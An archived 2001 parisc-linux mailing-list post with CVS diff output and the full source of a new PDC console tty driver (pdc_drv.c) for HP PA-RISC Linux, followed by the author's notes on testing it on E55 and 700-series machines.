cvs server: Diffing drivers/video/matrox
cvs server: Diffing drivers/video/riva
cvs server: Diffing drivers/video/sis
cvs server: Diffing drivers/video/sti
cvs server: Diffing drivers/zorro
cvs server: Diffing fs
cvs server: Diffing fs/adfs
cvs server: Diffing fs/affs
cvs server: Diffing fs/autofs
cvs server: Diffing fs/autofs4
cvs server: Diffing fs/bfs
cvs server: Diffing fs/coda
cvs server: Diffing fs/cramfs
cvs server: Diffing fs/cramfs/inflate
cvs server: Diffing fs/devfs
cvs server: Diffing fs/devpts
cvs server: Diffing fs/efs
cvs server: Diffing fs/ext2
cvs server: Diffing fs/fat
cvs server: Diffing fs/freevxfs
cvs server: Diffing fs/hfs
cvs server: Diffing fs/hpfs
cvs server: Diffing fs/isofs
cvs server: Diffing fs/jffs
cvs server: Diffing fs/lockd
cvs server: Diffing fs/minix
cvs server: Diffing fs/msdos
cvs server: Diffing fs/ncpfs
cvs server: Diffing fs/nfs
cvs server: Diffing fs/nfsd
cvs server: Diffing fs/nls
cvs server: Diffing fs/ntfs
cvs server: Diffing fs/openpromfs
cvs server: Diffing fs/partitions
cvs server: Diffing fs/proc
cvs server: Diffing fs/qnx4
cvs server: Diffing fs/ramfs
cvs server: Diffing fs/reiserfs
cvs server: Diffing fs/romfs
cvs server: Diffing fs/smbfs
cvs server: Diffing fs/sysv
cvs server: Diffing fs/udf
cvs server: Diffing fs/ufs
cvs server: Diffing fs/umsdos
cvs server: Diffing fs/vfat
cvs server: Diffing include
cvs server: Diffing include/asm-alpha
cvs server: Diffing include/asm-arm
cvs server: Diffing include/asm-arm/arch-a5k
cvs server: Diffing include/asm-arm/arch-anakin
cvs server: Diffing include/asm-arm/arch-arc
cvs server: Diffing include/asm-arm/arch-cl7500
cvs server: Diffing include/asm-arm/arch-ebsa110
cvs server: Diffing include/asm-arm/arch-ebsa285
cvs server: Diffing include/asm-arm/arch-integrator
cvs server: Diffing include/asm-arm/arch-l7200
cvs server: Diffing include/asm-arm/arch-nexuspci
cvs server: Diffing include/asm-arm/arch-rpc
cvs server: Diffing include/asm-arm/arch-sa1100
cvs server: Diffing include/asm-arm/arch-shark
cvs server: Diffing include/asm-arm/arch-tbox
cvs server: Diffing include/asm-arm/hardware
cvs server: Diffing include/asm-arm/mach
cvs server: Diffing include/asm-arm/proc-armo
cvs server: Diffing include/asm-arm/proc-armv
cvs server: Diffing include/asm-cris
cvs server: Diffing include/asm-generic
cvs server: Diffing include/asm-i386
cvs server: Diffing include/asm-ia64
cvs server: Diffing include/asm-ia64/sn
cvs server: Diffing include/asm-ia64/sn/arc
cvs server: Diffing include/asm-ia64/sn/ksys
cvs server: Diffing include/asm-ia64/sn/pci
cvs server: Diffing include/asm-ia64/sn/sn1
cvs server: Diffing include/asm-ia64/sn/xtalk
cvs server: Diffing include/asm-m68k
cvs server: Diffing include/asm-mips
cvs server: Diffing include/asm-mips/arc
cvs server: Diffing include/asm-mips/baget
cvs server: Diffing include/asm-mips/dec
cvs server: Diffing include/asm-mips/it8172
cvs server: Diffing include/asm-mips/pmc
cvs server: Diffing include/asm-mips/sgi
cvs server: Diffing include/asm-mips64
cvs server: Diffing include/asm-mips64/arc
cvs server: Diffing include/asm-mips64/gcc
cvs server: Diffing include/asm-mips64/pci
cvs server: Diffing include/asm-mips64/sgi
cvs server: Diffing include/asm-mips64/sn
cvs server: Diffing include/asm-mips64/sn/sn0
cvs server: Diffing include/asm-mips64/xtalk
cvs server: Diffing include/asm-parisc
Index: include/asm-parisc/pdc.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/pdc.h,v
retrieving revision 1.37
diff -u -r1.37 pdc.h
--- include/asm-parisc/pdc.h	2001/11/13 22:26:51	1.37
+++ include/asm-parisc/pdc.h	2001/11/19 22:18:13
@@ -816,7 +816,9 @@
 int pdc_do_reset(void);
 int pdc_soft_power_info(unsigned long *power_reg);
 void pdc_soft_power_shutdown(void);
+int pdc_iodc_getc(void);
 void pdc_iodc_putc(unsigned char c);
+void pdc_iodc_outc(unsigned char c);
 
 int pdc_sti_call(unsigned long func, unsigned long flags,
                  unsigned long inptr, unsigned long outputr,
cvs server: Diffing include/asm-parisc64
cvs server: Diffing include/asm-ppc
cvs server: Diffing include/asm-s390
cvs server: Diffing include/asm-s390x
cvs server: Diffing include/asm-sh
cvs server: Diffing include/asm-sparc
cvs server: Diffing include/asm-sparc/ap1000
cvs server: Diffing include/asm-sparc64
cvs server: Diffing include/linux
Index: include/linux/major.h
===================================================================
RCS file: /var/cvs/linux/include/linux/major.h,v
retrieving revision 1.10
diff -u -r1.10 major.h
--- include/linux/major.h	2001/11/09 23:37:14	1.10
+++ include/linux/major.h	2001/11/19 22:18:34
@@ -63,6 +63,7 @@
 #define ACSI_MAJOR	28
 #define AZTECH_CDROM_MAJOR 29
 #define GRAPHDEV_MAJOR	29	/* SparcLinux & Linux/68k /dev/fb */
+#define PDCCONS_MAJOR   30      /* CP: PDC console */
 #define SHMIQ_MAJOR	85	/* Linux/mips, SGI /dev/shmiq */
 #define CM206_CDROM_MAJOR 32
 #define IDE2_MAJOR	33
cvs server: Diffing include/linux/byteorder
cvs server: Diffing include/linux/isdn
cvs server: Diffing include/linux/lockd
cvs server: Diffing include/linux/mtd
cvs server: Diffing include/linux/netfilter_ipv4
cvs server: Diffing include/linux/netfilter_ipv6
cvs server: Diffing include/linux/nfsd
cvs server: Diffing include/linux/raid
cvs server: Diffing include/linux/sunrpc
cvs server: Diffing include/math-emu
cvs server: Diffing include/net
cvs server: Diffing include/net/bluetooth
cvs server: Diffing include/net/irda
cvs server: Diffing include/pcmcia
cvs server: Diffing include/scsi
cvs server: Diffing include/video
cvs server: Diffing init
cvs server: Diffing ipc
cvs server: Diffing kernel
cvs server: Diffing lib
cvs server: Diffing mm
cvs server: Diffing net
cvs server: Diffing net/802
cvs server: Diffing net/802/pseudo
cvs server: Diffing net/802/transit
cvs server: Diffing net/appletalk
cvs server: Diffing net/atm
cvs server: Diffing net/ax25
cvs server: Diffing net/bluetooth
cvs server: Diffing net/bridge
cvs server: Diffing net/core
cvs server: Diffing net/decnet
cvs server: Diffing net/econet
cvs server: Diffing net/ethernet
cvs server: Diffing net/ipv4
cvs server: Diffing net/ipv4/netfilter
cvs server: Diffing net/ipv6
cvs server: Diffing net/ipv6/netfilter
cvs server: Diffing net/ipx
cvs server: Diffing net/irda
cvs server: Diffing net/irda/compressors
cvs server: Diffing net/irda/ircomm
cvs server: Diffing net/irda/irlan
cvs server: Diffing net/irda/irnet
cvs server: Diffing net/khttpd
cvs server: Diffing net/lapb
cvs server: Diffing net/netlink
cvs server: Diffing net/netrom
cvs server: Diffing net/packet
cvs server: Diffing net/rose
cvs server: Diffing net/sched
cvs server: Diffing net/sunrpc
cvs server: Diffing net/unix
cvs server: Diffing net/wanrouter
cvs server: Diffing net/x25
cvs server: Diffing scripts
cvs server: Diffing scripts/cramfs
cvs server: Diffing scripts/ksymoops
cvs server: Diffing scripts/lxdialog
cvs server: Diffing scripts/usb

--------------1E8A96BFBBE9740FC7B66A32
Content-Type: text/plain; charset=us-ascii;
 name="pdc_drv.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="pdc_drv.c"

/*
 *  linux/drivers/char/pdc_drv.c
 *
 *  2001, Christoph Plattner
 * 
 *  Driver template was linux's serial.c
 *
 */

static char *pdc_drv_version = "0.3";
static char *pdc_drv_revdate = "2001-11-17";
#define AUTHOR "christoph.plattner@gmx.at"
#include <linux/config.h>
#include <linux/version.h>

#undef PDC_DRV_DEBUG

#undef SERIAL_PARANOIA_CHECK
#define CONFIG_SERIAL_NOPAUSE_IO
#define SERIAL_DO_RESTART

#define PDC_POLL_DELAY (30 * HZ / 1000)

/*
 * End of serial driver configuration section.
 */

#include <linux/module.h>

#include <linux/types.h>
#ifdef LOCAL_HEADERS
#include "serial_local.h"
#else
#include <linux/serial.h>
#include <linux/serialP.h>
#include <linux/serial_reg.h>
#include <asm/serial.h>
#define LOCAL_VERSTRING ""
#endif

#include <linux/errno.h>
#include <linux/signal.h>
#include <linux/sched.h>
#include <linux/timer.h>
#include <linux/interrupt.h>
#include <linux/tty.h>
#include <linux/tty_flip.h>
#include <linux/major.h>
#include <linux/string.h>
#include <linux/fcntl.h>
#include <linux/ptrace.h>
#include <linux/ioport.h>
#include <linux/mm.h>
#include <linux/slab.h>
#if (LINUX_VERSION_CODE >= 131343)
#include <linux/init.h>
#endif
#if (LINUX_VERSION_CODE >= 131336)
#include <asm/uaccess.h>
#endif
#include <linux/delay.h>

/*
 * All of the compatibilty code so we can compile serial.c against
 * older kernels is hidden in serial_compat.h
 */
#if defined(LOCAL_HEADERS) || (LINUX_VERSION_CODE < 0x020317) /* 2.3.23 */
#include "serial_compat.h"
#endif

#include <asm/system.h>
#include <asm/io.h>
#include <asm/irq.h>
#include <asm/bitops.h>

#ifdef CONFIG_GSC
#include <asm/gsc.h>
#endif

extern int pdc_console_poll_key(void *);
extern void pdc_outc(unsigned char);

#ifdef SERIAL_INLINE
#define _INLINE_ inline
#else
#define _INLINE_
#endif

static char *pdc_drv_name = "PDC driver";

static struct tty_driver pdc_drv_driver;
static int pdc_drv_refcount = 0;
static struct async_struct * pdc_drv_info;

static struct timer_list pdc_drv_timer;

/* serial subtype definitions */
#ifndef SERIAL_TYPE_NORMAL
#define SERIAL_TYPE_NORMAL	1
#define SERIAL_TYPE_CALLOUT	2
#endif

#define NR_PORTS 1
#define PDC_DUMMY_BUF 2048

static struct tty_struct *pdc_drv_table[NR_PORTS];
static struct termios *pdc_drv_termios[NR_PORTS];
static struct termios *pdc_drv_termios_locked[NR_PORTS];

/*
 * tmp_buf is used as a temporary buffer by serial_write.  We need to
 * lock it in case the copy_from_user blocks while swapping in a page,
 * and some other program tries to do a serial write at the same time.
 * Since the lock will only come under contention when the system is
 * swapping and available memory is low, it makes sense to share one
 * buffer across all the serial ports, since it significantly saves
 * memory if large numbers of serial ports are open.
 */
static unsigned char *tmp_buf;
#ifdef DECLARE_MUTEX
static DECLARE_MUTEX(tmp_buf_sem);
#else
static struct semaphore tmp_buf_sem = MUTEX;
#endif


/*
 * ------------------------------------------------------------
 * pdc_stop() and pdc_start()
 *
 * This routines are called before setting or resetting tty->stopped.
 * They enable or disable transmitter interrupts, as necessary.
 * ------------------------------------------------------------
 */
static void pdc_stop(struct tty_struct *tty)
{
}

static void pdc_start(struct tty_struct *tty)
{
}

/*
 * ----------------------------------------------------------------------
 *
 * Here starts the interrupt handling routines.  All of the following
 * subroutines are declared as inline and are folded into
 * rs_interrupt().  They were separated out for readability's sake.
 *
 * Note: rs_interrupt() is a "fast" interrupt, which means that it
 * runs with interrupts turned off.  People who may want to modify
 * rs_interrupt() should try to keep the interrupt handler as fast as
 * possible.  After you are done making modifications, it is not a bad
 * idea to do:
 * 
 * gcc -S -DKERNEL -Wall -Wstrict-prototypes -O6 -fomit-frame-pointer serial.c
 *
 * and look at the resulting assemble code in serial.s.
 *
 * 				- Ted Ts'o (tytso@mit.edu), 7-Mar-93
 * -----------------------------------------------------------------------
 */

static _INLINE_ void receive_chars(struct async_struct *info,
				 int *status, struct pt_regs * regs)
{
	struct tty_struct *tty = info->tty;
	unsigned char ch;
	int __ch;

	while (1) {
		__ch = pdc_console_poll_key (NULL);

		if (__ch == -1)   /* no character available */
		    break;

		ch = (unsigned char)((unsigned)__ch & 0x000000ffu);
		
		if (tty->flip.count >= TTY_FLIPBUF_SIZE)
			continue;

		*tty->flip.char_buf_ptr = ch;
		*tty->flip.flag_buf_ptr = 0;

		tty->flip.flag_buf_ptr++;
		tty->flip.char_buf_ptr++;
		tty->flip.count++;
	}

#if (LINUX_VERSION_CODE > 131394) /* 2.1.66 */
	tty_flip_buffer_push(tty);
#else
	queue_task_irq_off(&tty->flip.tqueue, &tq_timer);
#endif	
}

static void pdc_drv_poll (unsigned long dummy)
{
    struct async_struct * info;
    int status = 0;

    info = pdc_drv_info;
    
    if (!info || !info->tty || (pdc_drv_refcount == 0)) 
    {
	/* do nothing */
    }
    else
    {
	receive_chars(info, &status, NULL);
	info->last_active = jiffies;
    }

    mod_timer (& pdc_drv_timer, jiffies + PDC_POLL_DELAY);
}


static void pdc_put_char(struct tty_struct *tty, unsigned char ch)
{
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: return\n");
#endif	
	pdc_outc (ch);
}

static void pdc_flush_chars(struct tty_struct *tty)
{
	/* PCD console always flushed all characters */

#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: return\n");
#endif	

	/* nothing to do */
}

static int pdc_write(struct tty_struct * tty, int from_user,
		    const unsigned char *buf, int count)
{
	char pdc_tmp_buf [PDC_DUMMY_BUF];
	char * pdc_tmp_buf_ptr;
	int len;
	int ret = 0;
				
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: entry\n");
#endif	
	while (count) {
		if (count < PDC_DUMMY_BUF)
			len = count;
		else 
			len = PDC_DUMMY_BUF;
		
		if (from_user) {
			copy_from_user (pdc_tmp_buf, buf, len);
			pdc_tmp_buf_ptr = pdc_tmp_buf;
		}
		else
			pdc_tmp_buf_ptr = (char *) buf;
		
		while (len) {
			pdc_outc (*pdc_tmp_buf_ptr);
			buf++;
			pdc_tmp_buf_ptr++;
			ret++;
			count--;
			len--;
		}
	}
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: return\n");
#endif	
	return ret;
}

static int pdc_write_room(struct tty_struct *tty)
{
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: entry\n");
#endif	
	return PDC_DUMMY_BUF;
}

static int pdc_chars_in_buffer(struct tty_struct *tty)
{
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: entry\n");
#endif	
	return 0; /* no characters in buffer, always flushed ! */
}

static void pdc_flush_buffer(struct tty_struct *tty)
{
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: return\n");
#endif	
}

/*
 * This function is used to send a high-priority XON/XOFF character to
 * the device
 */
static void pdc_send_xchar(struct tty_struct *tty, char ch)
{
}

/*
 * ------------------------------------------------------------
 * pdc_throttle()
 * 
 * This routine is called by the upper-layer tty layer to signal that
 * incoming characters should be throttled.
 * ------------------------------------------------------------
 */
static void pdc_throttle(struct tty_struct * tty)
{
}

static void pdc_unthrottle(struct tty_struct * tty)
{
}

/*
 * ------------------------------------------------------------
 * pdc_ioctl() and friends
 * ------------------------------------------------------------
 */

static void pdc_break(struct tty_struct *tty, int break_state)
{
}


static int pdc_ioctl(struct tty_struct *tty, struct file * file,
		    unsigned int cmd, unsigned long arg)
{
	struct async_struct *info = (struct async_struct *)tty->driver_data;
	
	if ((cmd != TIOCGSERIAL) && (cmd != TIOCSSERIAL) &&
	    (cmd != TIOCSERCONFIG) && (cmd != TIOCSERGSTRUCT) &&
	    (cmd != TIOCMIWAIT) && (cmd != TIOCGICOUNT)) {
		if (tty->flags & (1 << TTY_IO_ERROR))
		    return -EIO;
	}
	
	switch (cmd) {
		case TIOCMGET:
			return 0;
		case TIOCMBIS:
		case TIOCMBIC:
		case TIOCMSET:
			return 0;
		case TIOCGSERIAL:
			return 0;
		case TIOCSSERIAL:
			return 0;
		case TIOCSERCONFIG:
			return 0;

		case TIOCSERGETLSR: /* Get line status register */
			return 0;

		case TIOCSERGSTRUCT:
			if (copy_to_user((struct async_struct *) arg,
					 info, sizeof(struct async_struct)))
				return -EFAULT;
			return 0;
				
		case TIOCMIWAIT:
			return 0;

		case TIOCGICOUNT:
			return 0;
		case TIOCSERGWILD:
		case TIOCSERSWILD:
			/* "setserial -W" is called in Debian boot */
			printk ("TIOCSER?WILD ioctl obsolete, ignored.\n");
			return 0;

		default:
			return -ENOIOCTLCMD;
		}
	return 0;
}

static void pdc_set_termios(struct tty_struct *tty, struct termios *old_termios)
{
	
#if 0	/* XXX CP, has to be checked, if there is stuff to do */
	struct async_struct *info = (struct async_struct *)tty->driver_data;
	unsigned long flags;
	unsigned int cflag = tty->termios->c_cflag;

	if (   (cflag == old_termios->c_cflag)
	    && (   RELEVANT_IFLAG(tty->termios->c_iflag) 
		== RELEVANT_IFLAG(old_termios->c_iflag)))
	  return;
#if 0
	change_speed(info, old_termios);
#endif
	/* Handle turning off CRTSCTS */
	if ((old_termios->c_cflag & CRTSCTS) &&
	    !(tty->termios->c_cflag & CRTSCTS)) {
		tty->hw_stopped = 0;
		pdc_start(tty);
	}
#endif
}

/*
 * ------------------------------------------------------------
 * pdc_close()
 * 
 * This routine is called when the serial port gets closed.  First, we
 * wait for the last remaining data to be sent.  Then, we unlink its
 * async structure from the interrupt chain if necessary, and we free
 * that IRQ if nothing is left in the chain.
 * ------------------------------------------------------------
 */
static void pdc_close(struct tty_struct *tty, struct file * filp)
{
	struct async_struct * info = (struct async_struct *)tty->driver_data;

#ifdef PDC_DEBUG_OPEN
	printk("pdc_close ttyB%d, count = %d\n", info->line, state->count);
#endif
	pdc_drv_refcount--;
	if (pdc_drv_refcount > 0)
	    return;
	
	info->flags |= ASYNC_CLOSING;

	/*
	 * Save the termios structure, since this port may have
	 * separate termios for callout and dialin.
	 */
	if (info->flags & ASYNC_NORMAL_ACTIVE)
		info->state->normal_termios = *tty->termios;
	if (info->flags & ASYNC_CALLOUT_ACTIVE)
		info->state->callout_termios = *tty->termios;

	/*
	 * At this point we stop accepting input.  To do this, we
	 * disable the receive line status interrupts, and tell the
	 * interrupt driver to stop checking the data ready bit in the
	 * line status register.
	 */

	/* XXX CP: make mask for receive !!! */

	if (tty->driver.flush_buffer)
		tty->driver.flush_buffer(tty);
	if (tty->ldisc.flush_buffer)
		tty->ldisc.flush_buffer(tty);
	tty->closing = 0;
	info->event = 0;
	info->tty = 0;
	pdc_drv_info = NULL;
	if (info->blocked_open) {
		if (info->close_delay) {
			set_current_state(TASK_INTERRUPTIBLE);
			schedule_timeout(info->close_delay);
		}
		wake_up_interruptible(&info->open_wait);
	}
	info->flags &= ~(ASYNC_NORMAL_ACTIVE|ASYNC_CALLOUT_ACTIVE|
			 ASYNC_CLOSING);
	wake_up_interruptible(&info->close_wait);
	MOD_DEC_USE_COUNT;
}

/*
 * pdc_wait_until_sent() --- wait until the transmitter is empty
 */
static void pdc_wait_until_sent(struct tty_struct *tty, int timeout)
{
	/* we always send immideate */
}

/*
 * pdc_hangup() --- called by tty_hangup() when a hangup is signaled.
 */
static void pdc_hangup(struct tty_struct *tty)
{
}

/*
 * ------------------------------------------------------------
 * pdc_open() and friends
 * ------------------------------------------------------------
 */

static int get_async_struct(int line, struct async_struct **ret_info)
{
	struct async_struct *info;
	
	info = kmalloc(sizeof(struct async_struct), GFP_KERNEL);
	if (!info) {
		return -ENOMEM;
	}
	memset(info, 0, sizeof(struct async_struct));
	init_waitqueue_head(&info->open_wait);
	init_waitqueue_head(&info->close_wait);
	init_waitqueue_head(&info->delta_msr_wait);
	info->magic = SERIAL_MAGIC;
	info->port = 0;
	info->flags = 0;
	info->io_type = 0;
	info->iomem_base = 0;
	info->iomem_reg_shift = 0;
	info->xmit_fifo_size = PDC_DUMMY_BUF;
	info->line = line;
	info->tqueue.routine = NULL;
	info->tqueue.data = info;
	info->state = NULL;
	*ret_info = info;
	return 0;
}

/*
 * This routine is called whenever a serial port is opened.  It
 * enables interrupts for a serial port, linking in its async structure into
 * the IRQ chain.   It also performs the serial-specific
 * initialization for the tty structure.
 */
static int pdc_open(struct tty_struct *tty, struct file * filp)
{
	struct async_struct	*info;
	int 			retval, line;
	unsigned long		page;
	
	MOD_INC_USE_COUNT;
	line = MINOR(tty->device) - tty->driver.minor_start;
	if ((line < 0) || (line >= NR_PORTS)) {
		MOD_DEC_USE_COUNT;
		return -ENODEV;
	}
	retval = get_async_struct(line, &info);
	if (retval) {
		MOD_DEC_USE_COUNT;
		return retval;
	}
	tty->driver_data = info;
	info->tty = tty;
	pdc_drv_info = info;
	
#ifdef PDC_DEBUG_OPEN
	printk("pdc_open %s%d, count = %d\n", tty->driver.name, info->line,
	       info->state->count);
#endif
#if (LINUX_VERSION_CODE > 0x20100)
	info->tty->low_latency = 0;
#endif

	if (!tmp_buf) {
		page = get_zeroed_page(GFP_KERNEL);
		if (!page) {
			MOD_DEC_USE_COUNT;
			return -ENOMEM;
		}
		if (tmp_buf)
			free_page(page);
		else
			tmp_buf = (unsigned char *) page;
	}

	info->session = current->session;
	info->pgrp = current->pgrp;

#ifdef PDC_DEBUG_OPEN
	printk("pdc_open ttyB%d successful...", info->line);
#endif
	pdc_drv_refcount++;
	return 0;
}

/*
 * ---------------------------------------------------------------------
 * pdc_init() and friends
 *
 * pdc_init() is called at boot-time to initialize the pdc driver.
 * ---------------------------------------------------------------------
 */

static _INLINE_ void show_pdc_drv_version(void)
{
 	printk(KERN_INFO "%s version %s%s (%s), %s\n", pdc_drv_name,
	       pdc_drv_version, LOCAL_VERSTRING, pdc_drv_revdate,
	       AUTHOR);
}

/*
 * The serial driver boot-time initialization code!
 */
static int __init pdc_drv_init(void)
{
	init_timer(&pdc_drv_timer);
	pdc_drv_timer.function = pdc_drv_poll;
	mod_timer(&pdc_drv_timer, jiffies + PDC_POLL_DELAY);

	show_pdc_drv_version();

	/* Initialize the tty_driver structure */
	
	memset(&pdc_drv_driver, 0, sizeof(struct tty_driver));
	pdc_drv_driver.magic = TTY_DRIVER_MAGIC;
#if (LINUX_VERSION_CODE > 0x20100)
	pdc_drv_driver.driver_name = "pdc_drv";
#endif
#if (LINUX_VERSION_CODE > 0x2032D && defined(CONFIG_DEVFS_FS))
	pdc_drv_driver.name = "ttb/%d";
#else
	pdc_drv_driver.name = "ttyB";
#endif
	pdc_drv_driver.major = PDCCONS_MAJOR;
	pdc_drv_driver.minor_start = 0;
	pdc_drv_driver.num = NR_PORTS;
	pdc_drv_driver.type = TTY_DRIVER_TYPE_SERIAL;
	pdc_drv_driver.subtype = SERIAL_TYPE_NORMAL;
	pdc_drv_driver.init_termios = tty_std_termios;
	pdc_drv_driver.init_termios.c_cflag =
		B9600 | CS8 | CREAD | HUPCL | CLOCAL;
	pdc_drv_driver.flags = TTY_DRIVER_REAL_RAW | TTY_DRIVER_NO_DEVFS;
	pdc_drv_driver.refcount = &pdc_drv_refcount;
	pdc_drv_driver.table = pdc_drv_table;
	pdc_drv_driver.termios = pdc_drv_termios;
	pdc_drv_driver.termios_locked = pdc_drv_termios_locked;

	pdc_drv_driver.open = pdc_open;
	pdc_drv_driver.close = pdc_close;
	pdc_drv_driver.write = pdc_write;
	pdc_drv_driver.put_char = pdc_put_char;
	pdc_drv_driver.flush_chars = pdc_flush_chars;
	pdc_drv_driver.write_room = pdc_write_room;
	pdc_drv_driver.chars_in_buffer = pdc_chars_in_buffer;
	pdc_drv_driver.flush_buffer = pdc_flush_buffer;
	pdc_drv_driver.ioctl = pdc_ioctl;
	pdc_drv_driver.throttle = pdc_throttle;
	pdc_drv_driver.unthrottle = pdc_unthrottle;
	pdc_drv_driver.set_termios = pdc_set_termios;
	pdc_drv_driver.stop = pdc_stop;
	pdc_drv_driver.start = pdc_start;
	pdc_drv_driver.hangup = pdc_hangup;
#if (LINUX_VERSION_CODE >= 131394) /* Linux 2.1.66 */
	pdc_drv_driver.break_ctl = pdc_break;
#endif
#if (LINUX_VERSION_CODE >= 131343)
	pdc_drv_driver.send_xchar = pdc_send_xchar;
	pdc_drv_driver.wait_until_sent = pdc_wait_until_sent;
	pdc_drv_driver.read_proc = NULL;
#endif
	
	if (tty_register_driver(&pdc_drv_driver))
		panic("Couldn't register pdc_drv driver\n");
	
	return 0;
}

static void __exit pdc_fini(void) 
{
	int e1;

	if ((e1 = tty_unregister_driver(&pdc_drv_driver)))
		printk("pdc_drv: failed to unregister pdc_drv driver (%d)\n",
		       e1);
}


module_init(pdc_drv_init);
module_exit(pdc_fini);
MODULE_DESCRIPTION("PDC driver");
MODULE_AUTHOR(AUTHOR);


--------------1E8A96BFBBE9740FC7B66A32--





From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status - ADDENDUM TO DRIVER
Date: Tue, 20 Nov 2001 00:04:14 +0100
Organization: private
Lines: 149
Approved: news@gmane.org
Message-ID: <3BF98FEE.CC8F4EB3@gmx.at>
References: <3B4396D8.9A33414F@gmx.at> <3BF4E38C.D59603FE@esiee.fr> <3BF98AD5.9BCB6861@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620784 30590 80.91.229.3 (22 Nov 2014 01:46:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:24 +0000 (UTC)
To: Thomas Marteau <marteaut@esiee.fr>,
	grundler@puffin.external.hp.com, ryan_bradetich@uswest.net,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 16:04:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14463482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 16:04:19 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011119230414.NOSX1246.viefep15-int.chello.at@gmx.at>;
          Tue, 20 Nov 2001 00:04:14 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13148

Here a thing to note ....

The PDC tty driver should never be used as module, this would not make
any sense. So the `init_module' routines at the end should be deleted.

The driver was never tested as MODULE !!
The console is further nedded, before any module can be loaded !!

Bye
Christoph 


Christoph Plattner wrote:
> 
> Hallo Thomas,
> hallo Grant,
> 
> finally the CVS was working again.
> 
> I have no login for your CVS so I will send the `cvs diff -u' and the
> newly
> added file `drivers/char/pdc_drv.c'.
> 
> Some notes here:
> 
> * In my console drivers (serial and PDC) I always added code, that the
> machine
> can be resetted via `^\' (Ctrl-\) for development (especially for
> machines
> without reset button as the E55 server). I removed this code for sending
> the
> CVS diffs.
> 
> * There is no CONFIG_ stuff for the PDC console, the console is
> initialised
>         in `arch/kernel/pdc_cons.c' (EARLY_BOOTUP_DEBUG) and the tty driver
>         has a __init constructor routine.
> 
>   ATTENTION: It is very important to have the init code in the
> pdc_cons.c
>         executed before the ttyBn driver is used, otherwise the first access
>         to the PDC driver (echo hallo > /dev/ttyB0) leads to a blocking
>         machine ....
> 
>   The driver can also be used on machines running true serial console,
>         by `echo hallo > /dev/ttyB0'. But the mix on the serial console
>         of ttyS0 driver and ttyB0 driver is not recommended !!
> 
> * The driver as console is only tested on the server E55 (model
> 9000/856)
>         and the HP apollo 700 series (9000/720/50), in both cases the
>         machine was configured to use the serial line.
>         Further I tested the kernel on a 712/60 machine, having PDC console
>         on STI device. Here the PDC console is used correctly, but then
>         the console switches to the colored frame buffer (and the text is
>         completly BLUE (!) and is overwriting the poor TUX !
>         I think here is a bug in the console handling not staying on the
>         configured device (has nothing to do with my stuff) or it is a
>         feature ti have full STI support if it possible ...
>         But /dev/ttyB0 is never used together with an STI able machine .. :-)
> 
> * I added the `CP:' to my modules or `XXX CP:' if there is something to
> do ...
> 
> * As I cannot checkin, I have no way to give change logs, so I will do
> here
> a short list:
> 
> - pdc_drv.c: Added file, PDC console tty driver for linux, /dev/ttyBn,
>         n=0 (only)
> 
> - pdc_cons.c: Added keyboard polling routine, added an function entry to
> get
>         an device entry for the console driver to "connet" the pdc_cons
>         driver to the PDC tty driver
> 
> - pdc.h: Added prototypes used for console and LEDs
> 
> - firmware.c: Added reading access to the PDC console (was former used
> for
>         waiting on a keypress), readded the pdc_chassis_disp () (was removed
>         in the meantime, but at the current state I use it for the E55 LEDs).
> 
> - led.c: Added a "trial" version of a LED controlling. Only RUN and
> ATTENTION
>         LED is supported. RUN/ATTENTION stated derived from state of the
>         HEART-BEAT LED (flashing->RUN, off->ATTENTION), and so the LEDs are
>         also accessable via PROC-FS. The LED activation of my routines is
>         derived from the model name (hard coded 9000/856) for my tests.
>         How to deal with this in the future ?
> 
> - major.h: Added free major 30 (character device) for PDC console
> (ttyBn).
> 
> - drivers/char/Makefile: pdc_drv.o added (per hack) to arch PARISC
> dependent code.
> 
> The code builds warning-free.
> 
> Again to test:
> 
